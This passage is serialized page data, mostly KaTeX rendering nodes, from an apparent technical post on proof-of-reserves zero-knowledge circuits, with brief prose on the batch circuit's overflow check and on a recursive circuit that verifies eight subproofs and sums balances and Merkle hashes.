"className":94954},[4103,21637],[94956],{"type":28,"value":21779},{"type":23,"tag":213,"props":94958,"children":94960},{"className":94959,"style":93100},[4103],[94961],{"type":28,"value":3181},{"type":23,"tag":213,"props":94963,"children":94965},{"className":94964},[4103,21637],[94966],{"type":28,"value":93108},{"type":23,"tag":213,"props":94968,"children":94970},{"className":94969,"style":93112},[4103,21637],[94971],{"type":28,"value":93115},{"type":23,"tag":213,"props":94973,"children":94975},{"className":94974},[4103,21637],[94976],{"type":28,"value":93121},{"type":23,"tag":213,"props":94978,"children":94980},{"className":94979},[4103,21637],[94981],{"type":28,"value":93127},{"type":23,"tag":213,"props":94983,"children":94985},{"className":94984},[4103],[94986,94991],{"type":23,"tag":213,"props":94987,"children":94989},{"className":94988},[4103,21637],[94990],{"type":28,"value":10735},{"type":23,"tag":213,"props":94992,"children":94994},{"className":94993},[4120],[94995],{"type":23,"tag":213,"props":94996,"children":94998},{"className":94997},[4125,21691],[94999,95028],{"type":23,"tag":213,"props":95000,"children":95002},{"className":95001},[4130],[95003,95023],{"type":23,"tag":213,"props":95004,"children":95006},{"className":95005,"style":93629},[4135],[95007],{"type":23,"tag":213,"props":95008,"children":95009},{"style":93156},[95010,95014],{"type":23,"tag":213,"props":95011,"children":95013},{"className":95012,"style":4145},[4144],[],{"type":23,"tag":213,"props":95015,"children":95017},{"className":95016},[4150,4151,4152,4153],[95018],{"type":23,"tag":213,"props":95019,"children":95021},{"className":95020},[4103,21637,4153],[95022],{"type":28,"value":3826},{"type":23,"tag":213,"props":95024,"children":95026},{"className":95025},[21794],[95027],{"type":28,"value":21797},{"type":23,"tag":213,"props":95029,"children":95031},{"className":95030},[4130],[95032],{"type":23,"tag":213,"props":95033,"children":95035},{"className":95034,"style":93183},[4135],[95036],{"type":23,"tag":213,"props":95037,"children":95038},{},[],{"type":23,"tag":213,"props":95040,"children":95042},{"className":95041},[21766],[95043],{"type":28,"value":3821},{"type":23,"tag":213,"props":95045,"children":95047},{"className":95046},[4103,21637],[95048],{"type":28,"value":36},{"type":23,"tag":213,"props":95050,"children":95052},{"className":95051},[4103,21637],[95053],{"type":28,"value":93091},{"type":23,"tag":213,"props":95055,"children":95057},{"className":95056},[4103,21637],[95058],{"type":28,"value":21779},{"type":23,"tag":213,"props":95060,"children":95062},{"className":95061,"style":93100},[4103],[95063],{"type":28,"value":3181},{"type":23,"tag":213,"props":95065,"children":95067},{"className":95066},[4103,21637],[95068],{"type":28,"value":56456},{"type":23,"tag":213,"props":95070,"children":95072},{"className":95071},[4103,21637],[95073],{"type":28,"value":93359},{"type":23,"tag":213,"props":95075,"children":95077},{"className":95076},[4103,21637],[95078],{"type":28,"value":51186},{"type":23,"tag":213,"props":95080,"children":95082},{"className":95081},[21788],[95083],{"type":28,"value":15470},{"type":23,"tag":213,"props":95085,"children":95087},{"className":95086,"style":4282},[4184],[],{"type":23,"tag":213,"props":95089,"children":95091},{"className":95090},[4287],[95092],{"type":28,"value":434},{"type":23,"tag":213,"props":95094,"children":95096},{"className":95095,"style":4282},[4184],[],{"type":23,"tag":213,"props":95098,"children":95100},{"className":95099},[4092],[95101,95105,95112,95117,95123,95128,95133,95138,95144,95149,95155,95161],{"type":23,"tag":213,"props":95102,"children":95104},{"className":95103,"style":93042},[4097],[],{"type":23,"tag":213,"props":95106,"children":95109},{"className":95107,"style":95108},[4103,21637],"margin-right:0.10903em;",[95110],{"type":28,"value":95111},"M",{"type":23,"tag":213,"props":95113,"children":95115},{"className":95114},[4103,21637],[95116],{"type":28,"value":76820},{"type":23,"tag":213,"props":95118,"children":95121},{"className":95119,"style":95120},[4103,21637],"margin-right:0.07847em;",[95122],{"type":28,"value":6225},{"type":23,"tag":213,"props":95124,"children":95126},{"className":95125,"style":93100},[4103],[95127],{"type":28,"value":3181},{"type":23,"tag":213,"props":95129,"children":95131},{"className":95130,"style":22096},[4103,21637],[95132],{"type":28,"value":22099},{"type":23,"tag":213,"props":95134,"children":95136},{"className":95135},[4103,21637],[95137],{"type":28,"value":76820},{"type":23,"tag":213,"props":95139,"children":95141},{"className":95140,"style":22096},[4103,21637],[95142],{"type":28,"value":95143},"FE",{"type":23,"tag":213,"props":95145,"children":95147},{"className":95146,"style":93100},[4103],[95148],{"type":28,"value":3181},{"type":23,"tag":213,"props":95150,"children":95152},{"className":95151,"style":95120},[4103,21637],[95153],{"type":28,"value":95154},"I",{"type":23,"tag":213,"props":95156,"children":95158},{"className":95157,"style":21638},[4103,21637],[95159],{"type":28,"value":95160},"NT",{"type":23,"tag":213,"props":95162,"children":95164},{"className":95163},[4103],[95165],{"type":28,"value":95166},"/512",{"type":28,"value":6550},{"type":23,"tag":95,"props":95169,"children":95170},{},[95171],{"type":28,"value":95172},"(overflow check)",{"type":28,"value":95174}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":209,"props":95176,"children":95178},{"className":95177},[],[95179],{"type":28,"value":92958},{"type":28,"value":2121},{"type":23,"tag":24,"props":95182,"children":95183},{},[95184],{"type":28,"value":95185},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":95187,"children":95188},{},[95189],{"type":23,"tag":4009,"props":95190,"children":95192},{"alt":50631,"src":95191},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":9693,"props":95194,"children":95196},{"id":95195},"recursive-circuit",[95197],{"type":28,"value":95198},"Recursive Circuit",{"type":23,"tag":24,"props":95200,"children":95201},{},[95202],{"type":28,"value":95203},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":95205,"children":95206},{},[95207],{"type":23,"tag":95,"props":95208,"children":95209},{},[95210],{"type":28,"value":93472},{"type":23,"tag":168,"props":95212,"children":95213},{},[95214,95218,95223],{"type":23,"tag":135,"props":95215,"children":95216},{},[95217],{"type":28,"value":93490},{"type":23,"tag":135,"props":95219,"children":95220},{},[95221],{"type":28,"value":95222},"Asset prices",{"type":23,"tag":135,"props":95224,"children":95225},{},[95226],{"type":28,"value":93485},{"type":23,"tag":24,"props":95228,"children":95229},{},[95230],{"type":23,"tag":95,"props":95231,"children":95232},{},[95233],{"type":28,"value":93498},{"type":23,"tag":168,"props":95235,"children":95236},{},[95237],{"type":23,"tag":135,"props":95238,"children":95239},{},[95240],{"type":28,"value":95241},"8 subproofs",{"type":23,"tag":24,"props":95243,"children":95244},{},[95245],{"type":23,"tag":95,"props":95246,"children":95247},{},[95248],{"type":28,"value":93519},{"type":23,"tag":168,"props":95250,"children":95251},{},[95252,95662,95993,96360,96747],{"type":23,"tag":135,"props":95253,"children":95254},{},[95255,95657,95658],{"type":23,"tag":209,"props":95256,"children":95258},{"className":95257},[4076,4077],[95259],{"type":23,"tag":213,"props":95260,"children":95262},{"className":95261},[4082],[95263],{"type":23,"tag":213,"props":95264,"children":95266},{"className":95265,"ariaHidden":1710},[4087],[95267,95403],{"type":23,"tag":213,"props":95268,"children":95270},{"className":95269},[4092],[95271,95275,95280,95285,95290,95295,95300,95305,95310,95315,95320,95325,95330,95335,95340,95345,95350,95355,95360,95365,95370,95375,95380,95385,95390,95394,95399],{"type":23,"tag":213,"props":95272,"children":95274},{"className":95273,"style":93042},[4097],[],{"type":23,"tag":213,"props":95276,"children":95278},{"className":95277},[4103,21637],[95279],{"type":28,"value":21779},{"type":23,"tag":213,"props":95281,"children":95283},{"className":95282},[4103,21637],[95284],{"type":28,"value":93070},{"type":23,"tag":213,"props":95286,"children":95288},{"className":95287},[4103,21637],[95289],{"type":28,"value":21779},{"type":23,"tag":213,"props":95291,"children":95293},{"className":95292},[4103,21637],[95294],{"type":28,"value":36},{"type":23,"tag":213,"props":95296,"children":95298},{"className":95297,"style":93112},[4103,21637],[95299],{"type":28,"value":93115},{"type":23,"tag":213,"props":95301,"children":95303},{"className":95302,"style":93100},[4103],[95304],{"type":28,"value":3181},{"type":23,"tag":213,"props":95306,"children":95308},{"className":95307},[4103,21637],[95309],{"type":28,"value":36},{"type":23,"tag":213,"props":95311,"children":95313},{"className":95312},[4103,21637],[95314],{"type":28,"value":93091},{"type":23,"tag":213,"props":95316,"children":95318},{"className":95317},[4103,21637],[95319],{"type":28,"value":21779},{"type":23,"tag":213,"props":95321,"children":95323},{"className":95322,"style":93100},[4103],[95324],{"type":28,"value":3181},{"type":23,"tag":213,"props":95326,"children":95328},{"className":95327},[4103,21637],[95329],{"type":28,"value":93108},{"type":23,"tag":213,"props":95331,"children":95333},{"className":95332,"style":93112},[4103,21637],[95334],{"type":28,"value":93115},{"type":23,"tag":213,"props":95336,"children":95338},{"className":95337},[4103,21637],[95339],{"type":28,"value":93121},{"type":23,"tag":213,"props":95341,"children":95343},{"className":95342},[4103,21637],[95344],{"type":28,"value":93127},{"type":23,"tag":213,"props":95346,"children":95348},{"className":95347},[21766],[95349],{"type":28,"value":3821},{"type":23,"tag":213,"props":95351,"children":95353},{"className":95352},[4103,21637],[95354],{"type":28,"value":36},{"type":23,"tag":213,"props":95356,"children":95358},{"className":95357},[4103,21637],[95359],{"type":28,"value":93091},{"type":23,"tag":213,"props":95361,"children":95363},{"className":95362},[4103,21637],[95364],{"type":28,"value":21779},{"type":23,"tag":213,"props":95366,"children":95368},{"className":95367,"style":93100},[4103],[95369],{"type":28,"value":3181},{"type":23,"tag":213,"props":95371,"children":95373},{"className":95372},[4103,21637],[95374],{"type":28,"value":56456},{"type":23,"tag":213,"props":95376,"children":95378},{"className":95377},[4103,21637],[95379],{"type":28,"value":93359},{"type":23,"tag":213,"props":95381,"children":95383},{"className":95382},[4103,21637],[95384],{"type":28,"value":51186},{"type":23,"tag":213,"props":95386,"children":95388},{"className":95387},[21788],[95389],{"type":28,"value":15470},{"type":23,"tag":213,"props":95391,"children":95393},{"className":95392,"style":4282},[4184],[],{"type":23,"tag":213,"props":95395,"children":95397},{"className":95396},[4287],[95398],{"type":28,"value":8660},{"type":23,"tag":213,"props":95400,"children":95402},{"className":95401,"style":4282},[4184],[],{"type":23,"tag":213,"props":95404,"children":95406},{"className":95405},[4092],[95407,95411,95416,95421,95426,95431,95436,95441,95447,95506,95511,95516,95521,95526,95531,95536,95541,95546,95552,95557,95562,95567,95572,95577,95582,95587,95592,95597,95602,95607,95612,95617,95622,95627,95632,95637,95642,95647,95652],{"type":23,"tag":213,"props":95408,"children":95410},{"className":95409,"style":93042},[4097],[],{"type":23,"tag":213,"props":95412,"children":95414},{"className":95413},[4103],[95415],{"type":28,"value":93690},{"type":23,"tag":213,"props":95417,"children":95419},{"className":95418},[4184],[95420],{"type":28,"value":21738},{"type":23,"tag":213,"props":95422,"children":95424},{"className":95423},[4103,21637],[95425],{"type":28,"value":10735},{"type":23,"tag":213,"props":95427,"children":95429},{"className":95428},[4103,21637],[95430],{"type":28,"value":93359},{"type":23,"tag":213,"props":95432,"children":95434},{"className":95433},[4103,21637],[95435],{"type":28,"value":3319},{"type":23,"tag":213,"props":95437,"children":95439},{"className":95438},[4103,21637],[95440],{"type":28,"value":24},{"type":23,"tag":213,"props":95442,"children":95444},{"className":95443},[4103,21637],[95445],{"type":28,"value":95446},"roo",{"type":23,"tag":213,"props":95448,"children":95450},{"className":95449},[4103],[95451,95457],{"type":23,"tag":213,"props":95452,"children":95455},{"className":95453,"style":95454},[4103,21637],"margin-right:0.10764em;",[95456],{"type":28,"value":33141},{"type":23,"tag":213,"props":95458,"children":95460},{"className":95459},[4120],[95461],{"type":23,"tag":213,"props":95462,"children":95464},{"className":95463},[4125,21691],[95465,95495],{"type":23,"tag":213,"props":95466,"children":95468},{"className":95467},[4130],[95469,95490],{"type":23,"tag":213,"props":95470,"children":95472},{"className":95471,"style":93629},[4135],[95473],{"type":23,"tag":213,"props":95474,"children":95476},{"style":95475},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[95477,95481],{"type":23,"tag":213,"props":95478,"children":95480},{"className":95479,"style":4145},[4144],[],{"type":23,"tag":213,"props":95482,"children":95484},{"className":95483},[4150,4151,4152,4153],[95485],{"type":23,"tag":213,"props":95486,"children":95488},{"className":95487},[4103,21637,4153],[95489],{"type":28,"value":3826},{"type":23,"tag":213,"props":95491,"children":95493},{"className":95492},[21794],[95494],{"type":28,"value":21797},{"type":23,"tag":213,"props":95496,"children":95498},{"className":95497},[4130],[95499],{"type":23,"tag":213,"props":95500,"children":95502},{"className":95501,"style":93183},[4135],[95503],{"type":23,"tag":213,"props":95504,"children":95505},{},[],{"type":23,"tag":213,"props":95507,"children":95509},{"className":95508},[4103],[95510],{"type":28,"value":124},{"type":23,"tag":213,"props":95512,"children":95514},{"className":95513},[4103,21637],[95515],{"type":28,"value":24},{"type":23,"tag":213,"props":95517,"children":95519},{"className":95518},[4103,21637],[95520],{"type":28,"value":93359},{"type":23,"tag":213,"props":95522,"children":95524},{"className":95523},[4103,21637],[95525],{"type":28,"value":3319},{"type":23,"tag":213,"props":95527,"children":95529},{"className":95528,"style":93112},[4103,21637],[95530],{"type":28,"value":93115},{"type":23,"tag":213,"props":95532,"children":95534},{"className":95533},[4103,21637],[95535],{"type":28,"value":3826},{"type":23,"tag":213,"props":95537,"children":95539},{"className":95538},[4103,21637],[95540],{"type":28,"value":3244},{"type":23,"tag":213,"props":95542,"children":95544},{"className":95543,"style":93100},[4103],[95545],{"type":28,"value":3181},{"type":23,"tag":213,"props":95547,"children":95549},{"className":95548},[4103,21637],[95550],{"type":28,"value":95551},"in",{"type":23,"tag":213,"props":95553,"children":95555},{"className":95554},[4103,21637],[95556],{"type":28,"value":24},{"type":23,"tag":213,"props":95558,"children":95560},{"className":95559},[4103,21637],[95561],{"type":28,"value":93359},{"type":23,"tag":213,"props":95563,"children":95565},{"className":95564},[4103,21637],[95566],{"type":28,"value":21779},{"type":23,"tag":213,"props":95568,"children":95570},{"className":95569},[4103],[95571],{"type":28,"value":124},{"type":23,"tag":213,"props":95573,"children":95575},{"className":95574},[4103,21637],[95576],{"type":28,"value":36},{"type":23,"tag":213,"props":95578,"children":95580},{"className":95579},[4103,21637],[95581],{"type":28,"value":93091},{"type":23,"tag":213,"props":95583,"children":95585},{"className":95584},[4103,21637],[95586],{"type":28,"value":21779},{"type":23,"tag":213,"props":95588,"children":95590},{"className":95589,"style":93100},[4103],[95591],{"type":28,"value":3181},{"type":23,"tag":213,"props":95593,"children":95595},{"className":95594},[4103,21637],[95596],{"type":28,"value":93108},{"type":23,"tag":213,"props":95598,"children":95600},{"className":95599,"style":93112},[4103,21637],[95601],{"type":28,"value":93115},{"type":23,"tag":213,"props":95603,"children":95605},{"className":95604},[4103,21637],[95606],{"type":28,"value":93121},{"type":23,"tag":213,"props":95608,"children":95610},{"className":95609},[4103,21637],[95611],{"type":28,"value":93930},{"type":23,"tag":213,"props":95613,"children":95615},{"className":95614},[21766],[95616],{"type":28,"value":3821},{"type":23,"tag":213,"props":95618,"children":95620},{"className":95619},[4103,21637],[95621],{"type":28,"value":36},{"type":23,"tag":213,"props":95623,"children":95625},{"className":95624},[4103,21637],[95626],{"type":28,"value":93091},{"type":23,"tag":213,"props":95628,"children":95630},{"className":95629},[4103,21637],[95631],{"type":28,"value":21779},{"type":23,"tag":213,"props":95633,"children":95635},{"className":95634,"style":93100},[4103],[95636],{"type":28,"value":3181},{"type":23,"tag":213,"props":95638,"children":95640},{"className":95639},[4103,21637],[95641],{"type":28,"value":56456},{"type":23,"tag":213,"props":95643,"children":95645},{"className":95644},[4103,21637],[95646],{"type":28,"value":93359},{"type":23,"tag":213,"props":95648,"children":95650},{"className":95649},[4103,21637],[95651],{"type":28,"value":51186},{"type":23,"tag":213,"props":95653,"children":95655},{"className":95654},[21788],[95656],{"type":28,"value":15470},{"type":28,"value":6550},{"type":23,"tag":95,"props":95659,"children":95660},{},[95661],{"type":28,"value":94490},{"type":23,"tag":135,"props":95663,"children":95664},{},[95665],{"type":23,"tag":209,"props":95666,"children":95668},{"className":95667},[4076,4077],[95669],{"type":23,"tag":213,"props":95670,"children":95672},{"className":95671},[4082],[95673],{"type":23,"tag":213,"props":95674,"children":95676},{"className":95675,"ariaHidden":1710},[4087],[95677,95783],{"type":23,"tag":213,"props":95678,"children":95680},{"className":95679},[4092],[95681,95685,95690,95695,95700,95705,95710,95715,95720,95725,95730,95735,95740,95745,95750,95755,95760,95765,95770,95774,95779],{"type":23,"tag":213,"props":95682,"children":95684},{"className":95683,"style":93042},[4097],[],{"type":23,"tag":213,"props":95686,"children":95688},{"className":95687},[4103,21637],[95689],{"type":28,"value":36},{"type":23,"tag":213,"props":95691,"children":95693},{"className":95692},[4103,21637],[95694],{"type":28,"value":93091},{"type":23,"tag":213,"props":95696,"children":95698},{"className":95697},[4103,21637],[95699],{"type":28,"value":21779},{"type":23,"tag":213,"props":95701,"children":95703},{"className":95702,"style":93100},[4103],[95704],{"type":28,"value":3181},{"type":23,"tag":213,"props":95706,"children":95708},{"className":95707},[4103,21637],[95709],{"type":28,"value":24},{"type":23,"tag":213,"props":95711,"children":95713},{"className":95712,"style":93100},[4103,21637],[95714],{"type":28,"value":93919},{"type":23,"tag":213,"props":95716,"children":95718},{"className":95717},[4103,21637],[95719],{"type":28,"value":3826},{"type":23,"tag":213,"props":95721,"children":95723},{"className":95722},[4103,21637],[95724],{"type":28,"value":93127},{"type":23,"tag":213,"props":95726,"children":95728},{"className":95727},[21766],[95729],{"type":28,"value":3821},{"type":23,"tag":213,"props":95731,"children":95733},{"className":95732},[4103,21637],[95734],{"type":28,"value":36},{"type":23,"tag":213,"props":95736,"children":95738},{"className":95737},[4103,21637],[95739],{"type":28,"value":93091},{"type":23,"tag":213,"props":95741,"children":95743},{"className":95742},[4103,21637],[95744],{"type":28,"value":21779},{"type":23,"tag":213,"props":95746,"children":95748},{"className":95747,"style":93100},[4103],[95749],{"type":28,"value":3181},{"type":23,"tag":213,"props":95751,"children":95753},{"className":95752},[4103,21637],[95754],{"type":28,"value":56456},{"type":23,"tag":213,"props":95756,"children":95758},{"className":95757},[4103,21637],[95759],{"type":28,"value":93359},{"type":23,"tag":213,"props":95761,"children":95763},{"className":95762},[4103,21637],[95764],{"type":28,"value":51186},{"type":23,"tag":213,"props":95766,"children":95768},{"className":95767},[21788],[95769],{"type":28,"value":15470},{"type":23,"tag":213,"props":95771,"children":95773},{"className":95772,"style":4282},[4184],[],{"type":23,"tag":213,"props":95775,"children":95777},{"className":95776},[4287],[95778],{"type":28,"value":8660},{"type":23,"tag":213,"props":95780,"children":95782},{"className":95781,"style":4282},[4184],[],{"type":23,"tag":213,"props":95784,"children":95786},{"className":95785},[4092],[95787,95791,95796,95801,95806,95811,95816,95873,95878,95883,95888,95893,95898,95903,95908,95913,95918,95923,95928,95933,95938,95943,95948,95953,95958,95963,95968,95973,95978,95983,95988],{"type":23,"tag":213,"props":95788,"children":95790},{"className":95789,"style":93042},[4097],[],{"type":23,"tag":213,"props":95792,"children":95794},{"className":95793},[4103,21637],[95795],{"type":28,"value":10735},{"type":23,"tag":213,"props":95797,"children":95799},{"className":95798},[4103,21637],[95800],{"type":28,"value":93359},{"type":23,"tag":213,"props":95802,"children":95804},{"className":95803},[4103,21637],[95805],{"type":28,"value":3319},{"type":23,"tag":213,"props":95807,"children":95809},{"className":95808},[4103,21637],[95810],{"type":28,"value":24},{"type":23,"tag":213,"props":95812,"children":95814},{"className":95813},[4103,21637],[95815],{"type":28,"value":95446},{"type":23,"tag":213,"props":95817,"children":95819},{"className":95818},[4103],[95820,95825],{"type":23,"tag":213,"props":95821,"children":95823},{"className":95822,"style":95454},[4103,21637],[95824],{"type":28,"value":33141},{"type":23,"tag":213,"props":95826,"children":95828},{"className":95827},[4120],[95829],{"type":23,"tag":213,"props":95830,"children":95832},{"className":95831},[4125,21691],[95833,95862],{"type":23,"tag":213,"props":95834,"children":95836},{"className":95835},[4130],[95837,95857],{"type":23,"tag":213,"props":95838,"children":95840},{"className":95839,"style":93629},[4135],[95841],{"type":23,"tag":213,"props":95842,"children":95843},{"style":95475},[95844,95848],{"type":23,"tag":213,"props":95845,"children":95847},{"className":95846,"style":4145},[4144],[],{"type":23,"tag":213,"props":95849,"children":95851},{"className":95850},[4150,4151,4152,4153],[95852],{"type":23,"tag":213,"props":95853,"children":95855},{"className":95854},[4103,21637,4153],[95856],{"type":28,"value":3826},{"type":23,"tag":213,"props":95858,"children":95860},{"className":95859},[21794],[95861],{"type":28,"value":21797},{"type":23,"tag":213,"props":95863,"children":95865},{"className":95864},[4130],[95866],{"type":23,"tag":213,"props":95867,"children":95869},{"className":95868,"style":93183},[4135],[95870],{"type":23,"tag":213,"props":95871,"children":95872},{},[],{"type":23,"tag":213,"props":95874,"children":95876},{"className":95875},[4103],[95877],{"type":28,"value":124},{"type":23,"tag":213,"props":95879,"children":95881},{"className":95880},[4103,21637],[95882],{"type":28,"value":24},{"type":23,"tag":213,"props":95884,"children":95886},{"className":95885},[4103,21637],[95887],{"type":28,"value":93359},{"type":23,"tag":213,"props":95889,"children":95891},{"className":95890},[4103,21637],[95892],{"type":28,"value":3319},{"type":23,"tag":213,"props":95894,"children":95896},{"className":95895,"style":93112},[4103,21637],[95897],{"type":28,"value":93115},{"type":23,"tag":213,"props":95899,"children":95901},{"className":95900},[4103,21637],[95902],{"type":28,"value":3826},{"type":23,"tag":213,"props":95904,"children":95906},{"className":95905},[4103,21637],[95907],{"type":28,"value":3244},{"type":23,"tag":213,"props":95909,"children":95911},{"className":95910,"style":93100},[4103],[95912],{"type":28,"value":3181},{"type":23,"tag":213,"props":95914,"children":95916},{"className":95915},[4103,21637],[95917],{"type":28,"value":95551},{"type":23,"tag":213,"props":95919,"children":95921},{"className":95920},[4103,21637],[95922],{"type":28,"value":24},{"type":23,"tag":213,"props":95924,"children":95926},{"className":95925},[4103,21637],[95927],{"type":28,"value":93359},{"type":23,"tag":213,"props":95929,"children":95931},{"className":95930},[4103,21637],[95932],{"type":28,"value":21779},{"type":23,"tag":213,"props":95934,"children":95936},{"className":95935},[4103],[95937],{"type":28,"value":124},{"type":23,"tag":213,"props":95939,"children":95941},{"className":95940},[4103,21637],[95942],{"type":28,"value":36},{"type":23,"tag":213,"props":95944,"children":95946},{"className":95945},[4103,21637],[95947],{"type":28,"value":93091},{"type":23,"tag":213,"props":95949,"children":95951},{"className":95950},[4103,21637],[95952],{"type":28,"value":21779},{"type":23,"tag":213,"props":95954,"children":95956},{"className":95955,"style":93100},[4103],[95957],{"type":28,"value":3181},{"type":23,"tag":213,"props":95959,"children":95961},{"className":95960},[4103,21637],[95962],{"type":28,"value":24},{"type":23,"tag":213,"props":95964,"children":95966},{"className":95965,"style":93100},[4103,21637],[95967],{"type":28,"value":93919},{"type":23,"tag":213,"props":95969,"children":95971},{"className":95970},[4103,21637],[95972],{"type":28,"value":3826},{"type":23,"tag":213,"props":95974,"children":95976},{"className":95975},[4103,21637],[95977],{"type":28,"value":93930},{"type":23,"tag":213,"props":95979,"children":95981},{"className":95980},[21766],[95982],{"type":28,"value":3821},{"type":23,"tag":213,"props":95984,"children":95986},{"className":95985},[4103],[95987],{"type":28,"value":4116},{"type":23,"tag":213,"props":95989,"children":95991},{"className":95990},[21788],[95992],{"type":28,"value":15470},{"type":23,"tag":135,"props":95994,"children":95995},{},[95996,96354,96355],{"type":23,"tag":209,"props":95997,"children":95999},{"className":95998},[4076,4077],[96000],{"type":23,"tag":213,"props":96001,"children":96003},{"className":96002},[4082],[96004],{"type":23,"tag":213,"props":96005,"children":96007},{"className":96006,"ariaHidden":1710},[4087],[96008,96114],{"type":23,"tag":213,"props":96009,"children":96011},{"className":96010},[4092],[96012,96016,96021,96026,96031,96036,96041,96046,96051,96056,96061,96066,96071,96076,96081,96086,96091,96096,96101,96105,96110],{"type":23,"tag":213,"props":96013,"children":96015},{"className":96014,"style":93042},[4097],[],{"type":23,"tag":213,"props":96017,"children":96019},{"className":96018},[4103,21637],[96020],{"type":28,"value":36},{"type":23,"tag":213,"props":96022,"children":96024},{"className":96023},[4103,21637],[96025],{"type":28,"value":93091},{"type":23,"tag":213,"props":96027,"children":96029},{"className":96028},[4103,21637],[96030],{"type":28,"value":21779},{"type":23,"tag":213,"props":96032,"children":96034},{"className":96033,"style":93100},[4103],[96035],{"type":28,"value":3181},{"type":23,"tag":213,"props":96037,"children":96039},{"className":96038},[4103,21637],[96040],{"type":28,"value":24},{"type":23,"tag":213,"props":96042,"children":96044},{"className":96043,"style":93100},[4103,21637],[96045],{"type":28,"value":93919},{"type":23,"tag":213,"props":96047,"children":96049},{"className":96048},[4103,21637],[96050],{"type":28,"value":3826},{"type":23,"tag":213,"props":96052,"children":96054},{"className":96053},[4103,21637],[96055],{"type":28,"value":93127},{"type":23,"tag":213,"props":96057,"children":96059},{"className":96058},[21766],[96060],{"type":28,"value":3821},{"type":23,"tag":213,"props":96062,"children":96064},{"className":96063},[4103,21637],[96065],{"type":28,"value":36},{"type":23,"tag":213,"props":96067,"children":96069},{"className":96068},[4103,21637],[96070],{"type":28,"value":93091},{"type":23,"tag":213,"props":96072,"children":96074},{"className":96073},[4103,21637],[96075],{"type":28,"value":21779},{"type":23,"tag":213,"props":96077,"children":96079},{"className":96078,"style":93100},[4103],[96080],{"type":28,"value":3181},{"type":23,"tag":213,"props":96082,"children":96084},{"className":96083},[4103,21637],[96085],{"type":28,"value":56456},{"type":23,"tag":213,"props":96087,"children":96089},{"className":96088},[4103,21637],[96090],{"type":28,"value":93359},{"type":23,"tag":213,"props":96092,"children":96094},{"className":96093},[4103,21637],[96095],{"type":28,"value":51186},{"type":23,"tag":213,"props":96097,"children":96099},{"className":96098},[21788],[96100],{"type":28,"value":15470},{"type":23,"tag":213,"props":96102,"children":96104},{"className":96103,"style":4282},[4184],[],{"type":23,"tag":213,"props":96106,"children":96108},{"className":96107},[4287],[96109],{"type":28,"value":8660},{"type":23,"tag":213,"props":96111,"children":96113},{"className":96112,"style":4282},[4184],[],{"type":23,"tag":213,"props":96115,"children":96117},{"className":96116},[4092],[96118,96122,96127,96132,96137,96142,96147,96204,96209,96214,96219,96224,96229,96234,96239,96244,96249,96254,96259,96264,96269,96274,96279,96284,96289,96294,96299,96304,96309,96314,96319,96324,96329,96334,96339,96344,96349],{"type":23,"tag":213,"props":96119,"children":96121},{"className":96120,"style":93042},[4097],[],{"type":23,"tag":213,"props":96123,"children":96125},{"className":96124},[4103,21637],[96126],{"type":28,"value":10735},{"type":23,"tag":213,"props":96128,"children":96130},{"className":96129},[4103,21637],[96131],{"type":28,"value":93359},{"type":23,"tag":213,"props":96133,"children":96135},{"className":96134},[4103,21637],[96136],{"type":28,"value":3319},{"type":23,"tag":213,"props":96138,"children":96140},{"className":96139},[4103,21637],[96141],{"type":28,"value":24},{"type":23,"tag":213,"props":96143,"children":96145},{"className":96144},[4103,21637],[96146],{"type":28,"value":95446},{"type":23,"tag":213,"props":96148,"children":96150},{"className":96149},[4103],[96151,96156],{"type":23,"tag":213,"props":96152,"children":96154},{"className":96153,"style":95454},[4103,21637],[96155],{"type":28,"value":33141},{"type":23,"tag":213,"props":96157,"children":96159},{"className":96158},[4120],[96160],{"type":23,"tag":213,"props":96161,"children":96163},{"className":96162},[4125,21691],[96164,96193],{"type":23,"tag":213,"props":96165,"children":96167},{"className":96166},[4130],[96168,96188],{"type":23,"tag":213,"props":96169,"children":96171},{"className":96170,"style":93629},[4135],[96172],{"type":23,"tag":213,"props":96173,"children":96174},{"style":95475},[96175,96179],{"type":23,"tag":213,"props":96176,"children":96178},{"className":96177,"style":4145},[4144],[],{"type":23,"tag":213,"props":96180,"children":96182},{"className":96181},[4150,4151,4152,4153],[96183],{"type":23,"tag":213,"props":96184,"children":96186},{"className":96185},[4103,21637,4153],[96187],{"type":28,"value":3826},{"type":23,"tag":213,"props":96189,"children":96191},{"className":96190},[21794],[96192],{"type":28,"value":21797},{"type":23,"tag":213,"props":96194,"children":96196},{"className":96195},[4130],[96197],{"type":23,"tag":213,"props":96198,"children":96200},{"className":96199,"style":93183},[4135],[96201],{"type":23,"tag":213,"props":96202,"children":96203},{},[],{"type":23,"tag":213,"props":96205,"children":96207},{"className":96206},[4103],[96208],{"type":28,"value":124},{"type":23,"tag":213,"props":96210,"children":96212},{"className":96211},[4103,21637],[96213],{"type":28,"value":24},{"type":23,"tag":213,"props":96215,"children":96217},{"className":96216},[4103,21637],[96218],{"type":28,"value":93359},{"type":23,"tag":213,"props":96220,"children":96222},{"className":96221},[4103,21637],[96223],{"type":28,"value":3319},{"type":23,"tag":213,"props":96225,"children":96227},{"className":96226,"style":93112},[4103,21637],[96228],{"type":28,"value":93115},{"type":23,"tag":213,"props":96230,"children":96232},{"className":96231},[4103,21637],[96233],{"type":28,"value":3826},{"type":23,"tag":213,"props":96235,"children":96237},{"className":96236},[4103,21637],[96238],{"type":28,"value":3244},{"type":23,"tag":213,"props":96240,"children":96242},{"className":96241,"style":93100},[4103],[96243],{"type":28,"value":3181},{"type":23,"tag":213,"props":96245,"children":96247},{"className":96246},[4103,21637],[96248],{"type":28,"value":95551},{"type":23,"tag":213,"props":96250,"children":96252},{"className":96251},[4103,21637],[96253],{"type":28,"value":24},{"type":23,"tag":213,"props":96255,"children":96257},{"className":96256},[4103,21637],[96258],{"type":28,"value":93359},{"type":23,"tag":213,"props":96260,"children":96262},{"className":96261},[4103,21637],[96263],{"type":28,"value":21779},{"type":23,"tag":213,"props":96265,"children":96267},{"className":96266},[4103],[96268],{"type":28,"value":124},{"type":23,"tag":213,"props":96270,"children":96272},{"className":96271},[4103,21637],[96273],{"type":28,"value":36},{"type":23,"tag":213,"props":96275,"children":96277},{"className":96276},[4103,21637],[96278],{"type":28,"value":93091},{"type":23,"tag":213,"props":96280,"children":96282},{"className":96281},[4103,21637],[96283],{"type":28,